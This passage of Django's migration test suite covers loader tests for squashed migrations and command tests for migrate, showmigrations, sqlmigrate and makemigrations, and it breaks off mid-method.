        "migrations.test_migrations_squashed_ref_squashed.app1",
        "migrations.test_migrations_squashed_ref_squashed.app2",
    ]})
    def test_loading_squashed_ref_squashed(self):
        "Tests loading a squashed migration with a new migration referencing it"
        """
        The sample migrations are structred like this:

        app_1       1 --> 2 ---------------------*--> 3        *--> 4
                     \                          /             /
                      *-------------------*----/--> 2_sq_3 --*
                       \                 /    /
        =============== \ ============= / == / ======================
        app_2            *--> 1_sq_2 --*    /
                          \                /
                           *--> 1 --> 2 --*

        Where 2_sq_3 is a replacing migration for 2 and 3 in app_1,
        as 1_sq_2 is a replacing migration for 1 and 2 in app_2.
        """

        loader = MigrationLoader(connection)
        recorder = MigrationRecorder(connection)
        self.addCleanup(recorder.flush)

        # Load with nothing applied: both migrations squashed.
        loader.build_graph()
        plan = set(loader.graph.forwards_plan(('app1', '4_auto')))
        plan = plan - loader.applied_migrations
        expected_plan = {
            ('app1', '1_auto'),
            ('app2', '1_squashed_2'),
            ('app1', '2_squashed_3'),
            ('app1', '4_auto'),
        }
        self.assertEqual(plan, expected_plan)

        # Fake-apply a few from app1: unsquashes migration in app1.
        recorder.record_applied('app1', '1_auto')
        recorder.record_applied('app1', '2_auto')
        loader.build_graph()
        plan = set(loader.graph.forwards_plan(('app1', '4_auto')))
        plan = plan - loader.applied_migrations
        expected_plan = {
            ('app2', '1_squashed_2'),
            ('app1', '3_auto'),
            ('app1', '4_auto'),
        }
        self.assertEqual(plan, expected_plan)

        # Fake-apply one from app2: unsquashes migration in app2 too.
        recorder.record_applied('app2', '1_auto')
        loader.build_graph()
        plan = set(loader.graph.forwards_plan(('app1', '4_auto')))
        plan = plan - loader.applied_migrations
        expected_plan = {
            ('app2', '2_auto'),
            ('app1', '3_auto'),
            ('app1', '4_auto'),
        }
        self.assertEqual(plan, expected_plan)

    def test_readonly_database(self):
        """
        check_consistent_history() ignores read-only databases, possibly
        without a django_migrations table.
        """
        with mock.patch.object(MigrationRecorder, 'ensure_schema', side_effect=MigrationSchemaMissing()):
            loader = MigrationLoader(connection=None)
            loader.check_consistent_history(connection)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import codecs
import datetime
import importlib
import os
import sys

from django.apps import apps
from django.core.management import CommandError, call_command
from django.db import (
    ConnectionHandler, DatabaseError, connection, connections, models,
)
from django.db.migrations.exceptions import (
    InconsistentMigrationHistory, MigrationSchemaMissing,
)
from django.db.migrations.recorder import MigrationRecorder
from django.test import ignore_warnings, mock, override_settings
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text

from .models import UnicodeModel, UnserializableModel
from .test_base import MigrationTestBase


class MigrateTests(MigrationTestBase):
    """
    Tests running the migrate command.
    """
    multi_db = True

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_migrate(self):
        """
        Tests basic usage of the migrate command.
        """
        # Make sure no tables are created
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        self.assertTableNotExists("migrations_book")
        # Run the migrations to 0001 only
        call_command("migrate", "migrations", "0001", verbosity=0)
        # Make sure the right tables exist
        self.assertTableExists("migrations_author")
        self.assertTableExists("migrations_tribble")
        self.assertTableNotExists("migrations_book")
        # Run migrations all the way
        call_command("migrate", verbosity=0)
        # Make sure the right tables exist
        self.assertTableExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        self.assertTableExists("migrations_book")
        # Unmigrate everything
        call_command("migrate", "migrations", "zero", verbosity=0)
        # Make sure it's all gone
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        self.assertTableNotExists("migrations_book")

    @override_settings(INSTALLED_APPS=[
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'migrations.migrations_test_apps.migrated_app',
    ])
    def test_migrate_with_system_checks(self):
        out = six.StringIO()
        call_command('migrate', skip_checks=False, no_color=True, stdout=out)
        self.assertIn('Apply all migrations: migrated_app', out.getvalue())

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_initial_false"})
    def test_migrate_initial_false(self):
        """
        `Migration.initial = False` skips fake-initial detection.
        """
        # Make sure no tables are created
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        # Run the migrations to 0001 only
        call_command("migrate", "migrations", "0001", verbosity=0)
        # Fake rollback
        call_command("migrate", "migrations", "zero", fake=True, verbosity=0)
        # Make sure fake-initial detection does not run
        with self.assertRaises(DatabaseError):
            call_command("migrate", "migrations", "0001", fake_initial=True, verbosity=0)

        call_command("migrate", "migrations", "0001", fake=True, verbosity=0)
        # Real rollback
        call_command("migrate", "migrations", "zero", verbosity=0)
        # Make sure it's all gone
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        self.assertTableNotExists("migrations_book")

    @override_settings(
        MIGRATION_MODULES={"migrations": "migrations.test_migrations"},
        DATABASE_ROUTERS=['migrations.routers.TestRouter'],
    )
    def test_migrate_fake_initial(self):
        """
        --fake-initial only works if all tables created in the initial
        migration of an app exists. Database routers must be obeyed when doing
        that check.
        """
        # Make sure no tables are created
        for db in connections:
            self.assertTableNotExists("migrations_author", using=db)
            self.assertTableNotExists("migrations_tribble", using=db)
        # Run the migrations to 0001 only
        call_command("migrate", "migrations", "0001", verbosity=0)
        call_command("migrate", "migrations", "0001", verbosity=0, database="other")
        # Make sure the right tables exist
        self.assertTableExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        # Also check the "other" database
        self.assertTableNotExists("migrations_author", using="other")
        self.assertTableExists("migrations_tribble", using="other")

        # Fake a roll-back
        call_command("migrate", "migrations", "zero", fake=True, verbosity=0)
        call_command("migrate", "migrations", "zero", fake=True, verbosity=0, database="other")
        # Make sure the tables still exist
        self.assertTableExists("migrations_author")
        self.assertTableExists("migrations_tribble", using="other")
        # Try to run initial migration
        with self.assertRaises(DatabaseError):
            call_command("migrate", "migrations", "0001", verbosity=0)
        # Run initial migration with an explicit --fake-initial
        out = six.StringIO()
        with mock.patch('django.core.management.color.supports_color', lambda *args: False):
            call_command("migrate", "migrations", "0001", fake_initial=True, stdout=out, verbosity=1)
            call_command("migrate", "migrations", "0001", fake_initial=True, verbosity=0, database="other")
        self.assertIn(
            "migrations.0001_initial... faked",
            out.getvalue().lower()
        )
        # Run migrations all the way
        call_command("migrate", verbosity=0)
        call_command("migrate", verbosity=0, database="other")
        # Make sure the right tables exist
        self.assertTableExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        self.assertTableExists("migrations_book")
        self.assertTableNotExists("migrations_author", using="other")
        self.assertTableNotExists("migrations_tribble", using="other")
        self.assertTableNotExists("migrations_book", using="other")
        # Fake a roll-back
        call_command("migrate", "migrations", "zero", fake=True, verbosity=0)
        call_command("migrate", "migrations", "zero", fake=True, verbosity=0, database="other")
        # Make sure the tables still exist
        self.assertTableExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        self.assertTableExists("migrations_book")
        # Try to run initial migration
        with self.assertRaises(DatabaseError):
            call_command("migrate", "migrations", verbosity=0)
        # Run initial migration with an explicit --fake-initial
        with self.assertRaises(DatabaseError):
            # Fails because "migrations_tribble" does not exist but needs to in
            # order to make --fake-initial work.
            call_command("migrate", "migrations", fake_initial=True, verbosity=0)
        # Fake a apply
        call_command("migrate", "migrations", fake=True, verbosity=0)
        call_command("migrate", "migrations", fake=True, verbosity=0, database="other")
        # Unmigrate everything
        call_command("migrate", "migrations", "zero", verbosity=0)
        call_command("migrate", "migrations", "zero", verbosity=0, database="other")
        # Make sure it's all gone
        for db in connections:
            self.assertTableNotExists("migrations_author", using=db)
            self.assertTableNotExists("migrations_tribble", using=db)
            self.assertTableNotExists("migrations_book", using=db)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_fake_split_initial"})
    def test_migrate_fake_split_initial(self):
        """
        Split initial migrations can be faked with --fake-initial.
        """
        call_command("migrate", "migrations", "0002", verbosity=0)
        call_command("migrate", "migrations", "zero", fake=True, verbosity=0)
        out = six.StringIO()
        with mock.patch('django.core.management.color.supports_color', lambda *args: False):
            call_command("migrate", "migrations", "0002", fake_initial=True, stdout=out, verbosity=1)
        value = out.getvalue().lower()
        self.assertIn("migrations.0001_initial... faked", value)
        self.assertIn("migrations.0002_second... faked", value)
        # Fake an apply
        call_command("migrate", "migrations", fake=True, verbosity=0)
        # Unmigrate everything
        call_command("migrate", "migrations", "zero", verbosity=0)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_conflict"})
    def test_migrate_conflict_exit(self):
        """
        Makes sure that migrate exits if it detects a conflict.
        """
        with self.assertRaisesMessage(CommandError, "Conflicting migrations detected"):
            call_command("migrate", "migrations")

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_showmigrations_list(self):
        """
        Tests --list output of showmigrations command
        """
        out = six.StringIO()
        with mock.patch('django.core.management.color.supports_color', lambda *args: True):
            call_command("showmigrations", format='list', stdout=out, verbosity=0, no_color=False)
        self.assertEqual(
            '\x1b[1mmigrations\n\x1b[0m'
            ' [ ] 0001_initial\n'
            ' [ ] 0002_second\n',
            out.getvalue().lower()
        )

        call_command("migrate", "migrations", "0001", verbosity=0)

        out = six.StringIO()
        # Giving the explicit app_label tests for selective `show_list` in the command
        call_command("showmigrations", "migrations", format='list', stdout=out, verbosity=0, no_color=True)
        self.assertEqual(
            'migrations\n'
            ' [x] 0001_initial\n'
            ' [ ] 0002_second\n',
            out.getvalue().lower()
        )
        # Cleanup by unmigrating everything
        call_command("migrate", "migrations", "zero", verbosity=0)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_run_before"})
    def test_showmigrations_plan(self):
        """
        Tests --plan output of showmigrations command
        """
        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out)
        self.assertEqual(
            "[ ]  migrations.0001_initial\n"
            "[ ]  migrations.0003_third\n"
            "[ ]  migrations.0002_second\n",
            out.getvalue().lower()
        )

        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out, verbosity=2)
        self.assertEqual(
            "[ ]  migrations.0001_initial\n"
            "[ ]  migrations.0003_third ... (migrations.0001_initial)\n"
            "[ ]  migrations.0002_second ... (migrations.0001_initial, migrations.0003_third)\n",
            out.getvalue().lower()
        )
        call_command("migrate", "migrations", "0003", verbosity=0)

        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out)
        self.assertEqual(
            "[x]  migrations.0001_initial\n"
            "[x]  migrations.0003_third\n"
            "[ ]  migrations.0002_second\n",
            out.getvalue().lower()
        )

        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out, verbosity=2)
        self.assertEqual(
            "[x]  migrations.0001_initial\n"
            "[x]  migrations.0003_third ... (migrations.0001_initial)\n"
            "[ ]  migrations.0002_second ... (migrations.0001_initial, migrations.0003_third)\n",
            out.getvalue().lower()
        )

        # Cleanup by unmigrating everything
        call_command("migrate", "migrations", "zero", verbosity=0)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_empty"})
    def test_showmigrations_plan_no_migrations(self):
        """
        Tests --plan output of showmigrations command without migrations
        """
        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out)
        self.assertEqual("", out.getvalue().lower())

        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out, verbosity=2)
        self.assertEqual("", out.getvalue().lower())

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed_complex"})
    def test_showmigrations_plan_squashed(self):
        """
        Tests --plan output of showmigrations command with squashed migrations.
        """
        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out)
        self.assertEqual(
            "[ ]  migrations.1_auto\n"
            "[ ]  migrations.2_auto\n"
            "[ ]  migrations.3_squashed_5\n"
            "[ ]  migrations.6_auto\n"
            "[ ]  migrations.7_auto\n",
            out.getvalue().lower()
        )

        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out, verbosity=2)
        self.assertEqual(
            "[ ]  migrations.1_auto\n"
            "[ ]  migrations.2_auto ... (migrations.1_auto)\n"
            "[ ]  migrations.3_squashed_5 ... (migrations.2_auto)\n"
            "[ ]  migrations.6_auto ... (migrations.3_squashed_5)\n"
            "[ ]  migrations.7_auto ... (migrations.6_auto)\n",
            out.getvalue().lower()
        )

        call_command("migrate", "migrations", "3_squashed_5", verbosity=0)

        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out)
        self.assertEqual(
            "[x]  migrations.1_auto\n"
            "[x]  migrations.2_auto\n"
            "[x]  migrations.3_squashed_5\n"
            "[ ]  migrations.6_auto\n"
            "[ ]  migrations.7_auto\n",
            out.getvalue().lower()
        )

        out = six.StringIO()
        call_command("showmigrations", format='plan', stdout=out, verbosity=2)
        self.assertEqual(
            "[x]  migrations.1_auto\n"
            "[x]  migrations.2_auto ... (migrations.1_auto)\n"
            "[x]  migrations.3_squashed_5 ... (migrations.2_auto)\n"
            "[ ]  migrations.6_auto ... (migrations.3_squashed_5)\n"
            "[ ]  migrations.7_auto ... (migrations.6_auto)\n",
            out.getvalue().lower()
        )

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_sqlmigrate_forwards(self):
        """
        Makes sure that sqlmigrate does something.
        """
        out = six.StringIO()
        call_command("sqlmigrate", "migrations", "0001", stdout=out)
        output = out.getvalue().lower()

        index_tx_start = output.find(connection.ops.start_transaction_sql().lower())
        index_op_desc_author = output.find('-- create model author')
        index_create_table = output.find('create table')
        index_op_desc_tribble = output.find('-- create model tribble')
        index_op_desc_unique_together = output.find('-- alter unique_together')
        index_tx_end = output.find(connection.ops.end_transaction_sql().lower())

        self.assertGreater(index_tx_start, -1, "Transaction start not found")
        self.assertGreater(
            index_op_desc_author, index_tx_start,
            "Operation description (author) not found or found before transaction start"
        )
        self.assertGreater(
            index_create_table, index_op_desc_author,
            "CREATE TABLE not found or found before operation description (author)"
        )
        self.assertGreater(
            index_op_desc_tribble, index_create_table,
            "Operation description (tribble) not found or found before CREATE TABLE (author)"
        )
        self.assertGreater(
            index_op_desc_unique_together, index_op_desc_tribble,
            "Operation description (unique_together) not found or found before operation description (tribble)"
        )
        self.assertGreater(
            index_tx_end, index_op_desc_unique_together,
            "Transaction end not found or found before operation description (unique_together)"
        )

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_sqlmigrate_backwards(self):
        """
        Makes sure that sqlmigrate does something.
        """
        # Cannot generate the reverse SQL unless we've applied the migration.
        call_command("migrate", "migrations", verbosity=0)

        out = six.StringIO()
        call_command("sqlmigrate", "migrations", "0001", stdout=out, backwards=True)
        output = out.getvalue().lower()

        index_tx_start = output.find(connection.ops.start_transaction_sql().lower())
        index_op_desc_unique_together = output.find('-- alter unique_together')
        index_op_desc_tribble = output.find('-- create model tribble')
        index_op_desc_author = output.find('-- create model author')
        index_drop_table = output.rfind('drop table')
        index_tx_end = output.find(connection.ops.end_transaction_sql().lower())

        self.assertGreater(index_tx_start, -1, "Transaction start not found")
        self.assertGreater(
            index_op_desc_unique_together, index_tx_start,
            "Operation description (unique_together) not found or found before transaction start"
        )
        self.assertGreater(
            index_op_desc_tribble, index_op_desc_unique_together,
            "Operation description (tribble) not found or found before operation description (unique_together)"
        )
        self.assertGreater(
            index_op_desc_author, index_op_desc_tribble,
            "Operation description (author) not found or found before operation description (tribble)"
        )

        self.assertGreater(
            index_drop_table, index_op_desc_author,
            "DROP TABLE not found or found before operation description (author)"
        )
        self.assertGreater(
            index_tx_end, index_op_desc_unique_together,
            "Transaction end not found or found before DROP TABLE"
        )

        # Cleanup by unmigrating everything
        call_command("migrate", "migrations", "zero", verbosity=0)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_non_atomic"})
    def test_sqlmigrate_for_non_atomic_migration(self):
        """
        Transaction wrappers aren't shown for non-atomic migrations.
        """
        out = six.StringIO()
        call_command("sqlmigrate", "migrations", "0001", stdout=out)
        output = out.getvalue().lower()
        queries = [q.strip() for q in output.splitlines()]
        if connection.ops.start_transaction_sql():
            self.assertNotIn(connection.ops.start_transaction_sql().lower(), queries)
        self.assertNotIn(connection.ops.end_transaction_sql().lower(), queries)

    @override_settings(
        INSTALLED_APPS=[
            "migrations.migrations_test_apps.migrated_app",
            "migrations.migrations_test_apps.migrated_unapplied_app",
            "migrations.migrations_test_apps.unmigrated_app"])
    def test_regression_22823_unmigrated_fk_to_migrated_model(self):
        """
        https://code.djangoproject.com/ticket/22823

        Assuming you have 3 apps, `A`, `B`, and `C`, such that:

        * `A` has migrations
        * `B` has a migration we want to apply
        * `C` has no migrations, but has an FK to `A`

        When we try to migrate "B", an exception occurs because the
        "B" was not included in the ProjectState that is used to detect
        soft-applied migrations.
        """
        call_command("migrate", "migrated_unapplied_app", stdout=six.StringIO())

        # unmigrated_app.SillyModel has a foreign key to 'migrations.Tribble',
        # but that model is only defined in a migration, so the global app
        # registry never sees it and the reference is left dangling. Remove it
        # to avoid problems in subsequent tests.
        del apps._pending_operations[('migrations', 'tribble')]

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed"})
    def test_migrate_record_replaced(self):
        """
        Running a single squashed migration should record all of the original
        replaced migrations as run.
        """
        recorder = MigrationRecorder(connection)
        out = six.StringIO()
        call_command("migrate", "migrations", verbosity=0)
        call_command("showmigrations", "migrations", stdout=out, no_color=True)
        self.assertEqual(
            'migrations\n'
            ' [x] 0001_squashed_0002 (2 squashed migrations)\n',
            out.getvalue().lower()
        )
        applied_migrations = recorder.applied_migrations()
        self.assertIn(("migrations", "0001_initial"), applied_migrations)
        self.assertIn(("migrations", "0002_second"), applied_migrations)
        self.assertIn(("migrations", "0001_squashed_0002"), applied_migrations)
        # Rollback changes
        call_command("migrate", "migrations", "zero", verbosity=0)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed"})
    def test_migrate_record_squashed(self):
        """
        Running migrate for a squashed migration should record as run
        if all of the replaced migrations have been run (#25231).
        """
        recorder = MigrationRecorder(connection)
        recorder.record_applied("migrations", "0001_initial")
        recorder.record_applied("migrations", "0002_second")
        out = six.StringIO()
        call_command("migrate", "migrations", verbosity=0)
        call_command("showmigrations", "migrations", stdout=out, no_color=True)
        self.assertEqual(
            'migrations\n'
            ' [x] 0001_squashed_0002 (2 squashed migrations)\n',
            out.getvalue().lower()
        )
        self.assertIn(
            ("migrations", "0001_squashed_0002"),
            recorder.applied_migrations()
        )
        # No changes were actually applied so there is nothing to rollback

    @override_settings(MIGRATION_MODULES={'migrations': 'migrations.test_migrations'})
    def test_migrate_inconsistent_history(self):
        """
        Running migrate with some migrations applied before their dependencies
        should not be allowed.
        """
        recorder = MigrationRecorder(connection)
        recorder.record_applied("migrations", "0002_second")
        msg = "Migration migrations.0002_second is applied before its dependency migrations.0001_initial"
        with self.assertRaisesMessage(InconsistentMigrationHistory, msg):
            call_command("migrate")
        applied_migrations = recorder.applied_migrations()
        self.assertNotIn(("migrations", "0001_initial"), applied_migrations)


class MakeMigrationsTests(MigrationTestBase):
    """
    Tests running the makemigrations command.
    """

    def setUp(self):
        super(MakeMigrationsTests, self).setUp()
        self._old_models = apps.app_configs['migrations'].models.copy()

    def tearDown(self):
        apps.app_configs['migrations'].models = self._old_models
        apps.all_models['migrations'] = self._old_models
        apps.clear_cache()
        super(MakeMigrationsTests, self).tearDown()

    def test_files_content(self):
        self.assertTableNotExists("migrations_unicodemodel")
        apps.register_model('migrations', UnicodeModel)
        with self.temporary_migration_module() as migration_dir:
            call_command("makemigrations", "migrations", verbosity=0)

            # Check for empty __init__.py file in migrations folder
            init_file = os.path.join(migration_dir, "__init__.py")
            self.assertTrue(os.path.exists(init_file))

            with open(init_file, 'r') as fp:
                content = force_text(fp.read())
            self.assertEqual(content, '')

            # Check for existing 0001_initial.py file in migration folder
            initial_file = os.path.join(migration_dir, "0001_initial.py")
            self.assertTrue(os.path.exists(initial_file))

            with codecs.open(initial_file, 'r', encoding='utf-8') as fp:
                content = fp.read()
                self.assertIn('# -*- coding: utf-8 -*-', content)
                self.assertIn('migrations.CreateModel', content)
                self.assertIn('initial = True', content)

                if six.PY3:
                    self.assertIn('úñí©óðé µóðéø', content)  # Meta.verbose_name
                    self.assertIn('úñí©óðé µóðéøß', content)  # Meta.verbose_name_plural
                    self.assertIn('ÚÑÍ¢ÓÐÉ', content)  # title.verbose_name
                    self.assertIn('“Ðjáñgó”', content)  # title.default
                else:
                    # Meta.verbose_name
                    self.assertIn('\\xfa\\xf1\\xed\\xa9\\xf3\\xf0\\xe9 \\xb5\\xf3\\xf0\\xe9\\xf8', content)
                    # Meta.verbose_name_plural
                    self.assertIn('\\xfa\\xf1\\xed\\xa9\\xf3\\xf0\\xe9 \\xb5\\xf3\\xf0\\xe9\\xf8\\xdf', content)
                    self.assertIn('\\xda\\xd1\\xcd\\xa2\\xd3\\xd0\\xc9', content)  # title.verbose_name
                    self.assertIn('\\u201c\\xd0j\\xe1\\xf1g\\xf3\\u201d', content)  # title.default

    def test_makemigrations_order(self):
        """
        makemigrations should recognize number-only migrations (0001.py).
        """
        module = 'migrations.test_migrations_order'
        with self.temporary_migration_module(module=module) as migration_dir:
            if hasattr(importlib, 'invalidate_caches'):
                # Python 3 importlib caches os.listdir() on some platforms like
                # Mac OS X (#23850).
                importlib.invalidate_caches()
            call_command('makemigrations', 'migrations', '--empty', '-n', 'a', '-v', '0')
            self.assertTrue(os.path.exists(os.path.join(migration_dir, '0002_a.py')))

    def test_makemigrations_empty_connections(self):
        empty_connections = ConnectionHandler({'default': {}})
        with mock.patch('django.core.management.commands.makemigrations.connections', new=empty_connections):
            # with no apps
            out = six.StringIO()
            call_command('makemigrations', stdout=out)
            self.assertIn('No changes detected', out.getvalue())
            # with an app
            with self.temporary_migration_module() as migration_dir:
                call_command('makemigrations', 'migrations', verbosity=0)
                init_file = os.path.join(migration_dir, '__init__.py')
                self.assertTrue(os.path.exists(init_file))

    def test_makemigrations_other_datbase_is_readonly(self):
        """
        makemigrations ignores the non-default database if it's read-only.
        """
        def patched_ensure_schema(migration_recorder):
            from django.db import connections
            if migration_recorder.connection is connections['other']:
                raise MigrationSchemaMissing()
            else:
                return mock.DEFAULT

        self.assertTableNotExists('migrations_unicodemodel')
        apps.register_model('migrations', UnicodeModel)
        with mock.patch.object(
                MigrationRecorder, 'ensure_schema',
                autospec=True, side_effect=patched_ensure_schema):
            with self.temporary_migration_module() as migration_dir:
                call_command("makemigrations", "migrations", verbosity=0)
                initial_file = os.path.join(migration_dir, "0001_initial.py")
                self.assertTrue(os.path.exists(initial_file))

    def test_failing_migration(self):
        # If a migration fails to serialize, it shouldn't generate an empty file. #21280
        apps.register_model('migrations', UnserializableModel)

        with self.temporary_migration_module() as migration_dir:
            with self.assertRaisesMessage(ValueError, 'Cannot serialize'):
                call_command("makemigrations", "migrations", verbosity=0)

            initial_file = os.path.join(migration_dir, "0001_initial.py")
            self.assertFalse(os.path.exists(initial_file))

    def test_makemigrations_conflict_exit(self):
        """
        Makes sure that makemigrations exits if it detects a conflict.
        """
        with self.temporary_migration_module(module="migrations.test_migrations_conflict"):
            with self.assertRaises(CommandError):
                call_command("makemigrations")

    def test_makemigrations_merge_no_conflict(self):
        """
        Makes sure that makemigrations exits if in merge mode with no conflicts.
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations"):
            call_command("makemigrations", merge=True, stdout=out)
        self.assertIn("No conflicts detected to merge.", out.getvalue())

    def test_makemigrations_no_app_sys_exit(self):
        """
        Makes sure that makemigrations exits if a non-existent app is specified.
        """
        err = six.StringIO()
        with self.assertRaises(SystemExit):
            call_command("makemigrations", "this_app_does_not_exist", stderr=err)
        self.assertIn("'this_app_does_not_exist' could not be found.", err.getvalue())

    def test_makemigrations_empty_no_app_specified(self):
        """
        Makes sure that makemigrations exits if no app is specified with 'empty' mode.
        """
        with self.assertRaises(CommandError):
            call_command("makemigrations", empty=True)

    def test_makemigrations_empty_migration(self):
        """
        Makes sure that makemigrations properly constructs an empty migration.
        """
        with self.temporary_migration_module() as migration_dir:
            call_command("makemigrations", "migrations", empty=True, verbosity=0)

            # Check for existing 0001_initial.py file in migration folder
            initial_file = os.path.join(migration_dir, "0001_initial.py")
            self.assertTrue(os.path.exists(initial_file))

            with codecs.open(initial_file, 'r', encoding='utf-8') as fp:
                content = fp.read()
                self.assertIn('# -*- coding: utf-8 -*-', content)

                # Remove all whitespace to check for empty dependencies and operations
                content = content.replace(' ', '')
                self.assertIn('dependencies=[\n]', content)
                self.assertIn('operations=[\n]', content)

    @override_settings(MIGRATION_MODULES={"migrations": None})
    def test_makemigrations_disabled_migrations_for_app(self):
        """
        makemigrations raises a nice error when migrations are disabled for an
        app.
        """
        msg = (
            "Django can't create migrations for app 'migrations' because migrations "
            "have been disabled via the MIGRATION_MODULES setting."
        )
        with self.assertRaisesMessage(ValueError, msg):
            call_command("makemigrations", "migrations", empty=True, verbosity=0)

    def test_makemigrations_no_changes_no_apps(self):
        """
        Makes sure that makemigrations exits when there are no changes and no apps are specified.
        """
        out = six.StringIO()
        call_command("makemigrations", stdout=out)
        self.assertIn("No changes detected", out.getvalue())

    def test_makemigrations_no_changes(self):
        """
        Makes sure that makemigrations exits when there are no changes to an app.
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_no_changes"):
            call_command("makemigrations", "migrations", stdout=out)
        self.assertIn("No changes detected in app 'migrations'", out.getvalue())

    def test_makemigrations_no_apps_initial(self):
        """
        makemigrations should detect initial is needed on empty migration
        modules if no app provided.
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_empty"):
            call_command("makemigrations", stdout=out)
        self.assertIn("0001_initial.py", out.getvalue())

    def test_makemigrations_migrations_announce(self):
        """
        Makes sure that makemigrations announces the migration at the default verbosity level.
        """
        out = six.StringIO()
        with self.temporary_migration_module():
            call_command("makemigrations", "migrations", stdout=out)
        self.assertIn("Migrations for 'migrations'", out.getvalue())

    def test_makemigrations_no_common_ancestor(self):
        """
        Makes sure that makemigrations fails to merge migrations with no common ancestor.
        """
        with self.assertRaises(ValueError) as context:
            with self.temporary_migration_module(module="migrations.test_migrations_no_ancestor"):
                call_command("makemigrations", "migrations", merge=True)
        exception_message = str(context.exception)
        self.assertIn("Could not find common ancestor of", exception_message)
        self.assertIn("0002_second", exception_message)
        self.assertIn("0002_conflicting_second", exception_message)

    def test_makemigrations_interactive_reject(self):
        """
        Makes sure that makemigrations enters and exits interactive mode properly.
        """
        # Monkeypatch interactive questioner to auto reject
        with mock.patch('django.db.migrations.questioner.input', mock.Mock(return_value='N')):
            with self.temporary_migration_module(module="migrations.test_migrations_conflict") as migration_dir:
                call_command("makemigrations", "migrations", name="merge", merge=True, interactive=True, verbosity=0)
                merge_file = os.path.join(migration_dir, '0003_merge.py')
                self.assertFalse(os.path.exists(merge_file))

    def test_makemigrations_interactive_accept(self):
        """
        Makes sure that makemigrations enters interactive mode and merges properly.
        """
        # Monkeypatch interactive questioner to auto accept
        with mock.patch('django.db.migrations.questioner.input', mock.Mock(return_value='y')):
            out = six.StringIO()
            with self.temporary_migration_module(module="migrations.test_migrations_conflict") as migration_dir:
                call_command("makemigrations", "migrations", name="merge", merge=True, interactive=True, stdout=out)
                merge_file = os.path.join(migration_dir, '0003_merge.py')
                self.assertTrue(os.path.exists(merge_file))
            self.assertIn("Created new merge migration", force_text(out.getvalue()))

    @mock.patch('django.db.migrations.utils.datetime')
    def test_makemigrations_default_merge_name(self, mock_datetime):
        mock_datetime.datetime.now.return_value = datetime.datetime(2016, 1, 2, 3, 4)
        with mock.patch('django.db.migrations.questioner.input', mock.Mock(return_value='y')):
            out = six.StringIO()
            with self.temporary_migration_module(module="migrations.test_migrations_conflict") as migration_dir:
                call_command("makemigrations", "migrations", merge=True, interactive=True, stdout=out)
                merge_file = os.path.join(migration_dir, '0003_merge_20160102_0304.py')
                self.assertTrue(os.path.exists(merge_file))
            self.assertIn("Created new merge migration", force_text(out.getvalue()))

    def test_makemigrations_non_interactive_not_null_addition(self):
        """
        Tests that non-interactive makemigrations fails when a default is missing on a new not-null field.
        """
        class SillyModel(models.Model):
            silly_field = models.BooleanField(default=False)
            silly_int = models.IntegerField()

            class Meta:
                app_label = "migrations"

        out = six.StringIO()
        with self.assertRaises(SystemExit):
            with self.temporary_migration_module(module="migrations.test_migrations_no_default"):
                call_command("makemigrations", "migrations", interactive=False, stdout=out)

    def test_makemigrations_non_interactive_not_null_alteration(self):
        """
        Tests that non-interactive makemigrations fails when a default is missing on a field changed to not-null.
        """
        class Author(models.Model):
            name = models.CharField(max_length=255)
            slug = models.SlugField()
            age = models.IntegerField(default=0)

            class Meta:
                app_label = "migrations"

        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations"):
            call_command("makemigrations", "migrations", interactive=False, stdout=out)
        self.assertIn("Alter field slug on author", force_text(out.getvalue()))

    def test_makemigrations_non_interactive_no_model_rename(self):
        """
        Makes sure that makemigrations adds and removes a possible model rename in non-interactive mode.
        """
        class RenamedModel(models.Model):
            silly_field = models.BooleanField(default=False)

            class Meta:
                app_label = "migrations"

        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_no_default"):
            call_command("makemigrations", "migrations", interactive=False, stdout=out)
        self.assertIn("Delete model SillyModel", force_text(out.getvalue()))
        self.assertIn("Create model RenamedModel", force_text(out.getvalue()))

    def test_makemigrations_non_interactive_no_field_rename(self):
        """
        Makes sure that makemigrations adds and removes a possible field rename in non-interactive mode.
        """
        class SillyModel(models.Model):
            silly_rename = models.BooleanField(default=False)

            class Meta:
                app_label = "migrations"

        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_no_default"):
